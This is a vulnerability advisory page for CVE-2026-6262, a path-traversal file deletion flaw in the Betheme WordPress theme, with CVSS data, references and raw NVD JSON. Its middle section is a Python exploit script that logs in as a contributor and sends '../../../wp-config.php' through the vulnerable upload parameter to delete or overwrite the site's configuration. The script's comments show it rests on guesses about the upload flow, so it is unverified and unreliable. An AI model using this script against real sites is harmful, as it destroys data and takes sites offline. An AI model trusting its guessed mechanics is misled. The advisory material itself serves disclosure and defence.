CVE-2026-6262

Description

The Betheme theme for WordPress is vulnerable to Arbitrary File Deletion in versions up to, and including, 28.4. This is due to the upload_icons() function workflow using a user-controlled upload path (`mfn-icon-upload`) in a filesystem move operation without constraining it to the uploads directory. This makes it possible for authenticated attackers, with contributor-level access and above, to move/delete arbitrary local files via path traversal.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Betheme <= 28.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = 'http://target-site.com/wp-admin/admin-ajax.php'
username = 'contributor'
password = 'password'

def login():
    session = requests.Session()
    login_data = {
        'log': username,
        'pwd': password,
        'redirect_to': '/wp-admin/',
        'wp-submit': 'Log In'
    }
    session.post(f'{target_url.replace("admin-ajax.php", "wp-login.php")}', data=login_data)
    return session

def exploit(session):
    # Vulnerable parameter: mfn-icon-upload
    # Attempt to delete a sensitive file by moving a dummy file to it (path traversal)
    payload = {
        'action': 'upload_icons',
        'mfn-icon-upload': '../../../wp-config.php' # Traversal to overwrite/delete
    }
    
    # Assuming a file is required to be uploaded to trigger the move, 
    # normally a multipart/form-data upload is needed.
    files = {'file': ('exploit.txt', 'dummy content', 'text/plain')}
    
    response = session.post(target_url, data=payload, files=files)
    
    if response.status_code == 200:
        print(f"[+] Payload sent. Check if file is deleted/overwritten.")
    else:
        print(f"[-] Failed. Status code: {response.status_code}")

if __name__ == "__main__":
    sess = login()
    exploit(sess)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6262
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6262
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6262/
[4] VulDB https://vuldb.com/cve/CVE-2026-6262
[5] https://support.muffingroup.com/changelog/
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/3486f114-5625-4751-a25e-2c5ab7b15b38?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6262", "sourceIdentifier": "[email protected]", "published": "2026-05-05T12:16:21.590", "lastModified": "2026-05-05T19:08:20.090", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Betheme theme for WordPress is vulnerable to Arbitrary File Deletion in versions up to, and including, 28.4. This is due to the upload_icons() function workflow using a user-controlled upload path (`mfn-icon-upload`) in a filesystem move operation without constraining it to the uploads directory. This makes it possible for authenticated attackers, with contributor-level access and above, to move/delete arbitrary local files via path traversal."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://support.muffingroup.com/changelog/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3486f114-5625-4751-a25e-2c5ab7b15b38?source=cve", "source": "[email protected]"}]}}